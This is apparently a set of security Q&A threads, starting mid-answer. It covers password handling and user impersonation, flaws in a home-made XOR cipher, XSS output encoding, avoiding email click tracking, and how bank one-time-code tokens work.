You cannot guarantee that. If the API can access, other entities can access it too. Anyone accessing the server as root can extract it. Anyone that have read access on the API application can extract it. Don't do that.
This is the shortest path to leaking every password on your database.
So, how do you impersonate any user?
You don't.
Create test users for each role, give them very strong passwords, and impersonate them instead.
You don't want to grant privileges to particular users, but you create groups, grant privileges to the groups, and connect the users to the groups.


Are there any flaws in this two way cryptographic function? I created a simple two way cryptographic function which allows you to encrypt a message and decrypt it with the same key. Here's how it works.

Split the message into an array of 32-bit (or something else, depending on your key's length) segments
Generate a random 32-bit number and xor all segments with it, and append it to the start of the array. (This is done to prevent an attacker recognizing that the same message or certain parts of it have been sent twice)
Xor all segments with a hash of the key and the index of the segment. The index is included to prevent an attacker finding patterns inside the message where there are 0s or some other known data.

My questions are:

Does there already exist a similar two-way function?
Are there any flaws in it, and if so, what can be done to correct them?

Please explain in simple terms, I'm not a cryptography expert.

Read Shannon's 1949 work. Understand diffusion and confusion. Then understand that you do not understand enough *YET* about set theory, probability and linear maths to know that you don't have enough background to design or implement an enciphering algorithm. Read Dunning-Kruger effect while you are at it, but please keep learning, so that some day you will know enough to design a secret system.


Is this a sign of a successful XSS attack? I'm just testing a basic XSS injection attack. Given the images below, does it look like this website is vulnerable to XSS?

Is whitelisting the characters still the best practice against XSS attacks?

From your screen shots, this page does not seem to be vulnerable to XSS.

The correct way to prevent XSS is by using output encoding. If a user types <script> and the page puts <script> in the HTML source, it is vulnerable to XSS. If it instead encodes that user input and puts &lt;script&gt; in the HTML source, it is not interpreted as HTML but as the text <script>.

It looks like your site does this encoding twice instead of once, and this results in displaying the encoded HTML in the text fields.


Is there a way to bypass click-tracking links in emails? Most newsletters that I receive use mass-mailing software that rewrites links to add tracking information.  That is, instead of www.google.com, the email will point to something like links.somecompany.com/?xyz=unique-id, which redirects to the final URL.  Mailchimp, for example, calls this click tracking.  29 of the last 30 mass emails I received included tracking links.

Is there a way to opt out of this tracking, or to visit the final link without being tracked?  Something like do-not-track for email links, or a centralized way to opt out of click tracking from most larger email marketers?

Alternatively, do any email providers take measures against this? (Gmail has defenses in place against pixel beacons, I think, but nothing against click tracking as far as I can tell).

Of the two main forms of email tracking, remote content has easier protections. Many email clients allow you to turn this off. You can test your email client settings here: https://www.emailprivacytester.com

Click tracking is harder to avoid. There may be some trackers that allow an after-the-fact "opt out", but that's risky and is not likely to allow you to delete the data (more likely to only suppress targeting based on the data collected, if these "opt outs" exist at all).

A few possible strategies:

Hover over links to see if there's a tracker, and if there is, never click;
Use a browser to search or surf to the sender's website and find the content manually;
Add chaff to the tracking by using a script that repeatedly "clicks" the links. This could help disguise when and how often the link is manually clicked, but in practice is challenging because you'd have to mimic the fingerprint of the email client;
Copy the link and paste it into a privacy-protective browser like Tor. They'll know you "clicked" and when, but they won't get your real IP address or device fingerprint, and therefore their ability to correlate that "click" with your other internet activity is minimized.

Click tracking triggers a range of privacy violations (read receipt, time of click, device and email client data, etc.) The best strategy depends on your priorities for which violations you are trying most to defend against.


How does HSBC's "Secure Key" actually work? My bank has recently sent me a Digipass/Secure Key, which looks like a tiny calculator. You press the green button to turn it on, type a PIN to unlock it, then press the green button again to generate a 6-digit code that you type when logging in.

However, I don't actually understand how this device increases security. I'm assuming every device is linked to a person's account. But there is no communication from the device. I can press the button 10 times and generate 10 different codes, any of which seem to work.

How does the bank know the code is genuine?

There are two standard ways to build such a device:

Time-based.  The device has a secret key K (known only to the device and to your bank).  When you press the button, The device computes F(K, T) (where T is the current time) and outputs it as a 6-digit code.

Your bank, which also knows K, can compute the same function.  To deal with the fact that the clocks might not be perfectly synchronized, the bank will compute a range of values and test whether the 6-digit code you provide falls anywhere in that range.  In other words, the bank might compute F(K, T-2), F(K, T-1), F(K, T), F(K, T+1), F(K, T+2), and if the code  you provide matches any of those 5 values, the bank accepts your login.

I suspect this is not how your device works, since your device always gives you a different value every time you press the button.
Sequence-based. The device has a secret key K (known only to the device and to your bank).  It also contains a counter C, which counts how many times you have pressed the button so far.  C is stored in non-volatile memory on your device.  When you press the button, the device increments C, computes F(K, C), and outputs it as a 6-digit code.  This ensures that you get a different code every time.

The bank also tracks the current value of the counter for your device, and uses this to recognize whether the 6-digit code you provided is valid.  Often, the bank will test a window of values.  For instance, if the last counter value it saw was C, then the bank might compute F(K, C+1), F(K, C+2), F(K, C+3), F(K, C+4) and accept your 6-digit code if it matches any of those four possibilities.  This helps ensure that if you press the button once and then don't send it to the bank, you can still log on (you aren't locked out forevermore).  In some schemes, if there is a gap in codes (e.g., because you pressed the button a few times and then didn't send the code to the bank), you will need to enter two consecutive valid codes before the bank will log you on.

Based upon what you've told us, I would hypothesize that your device is probably using the sequence-based approach.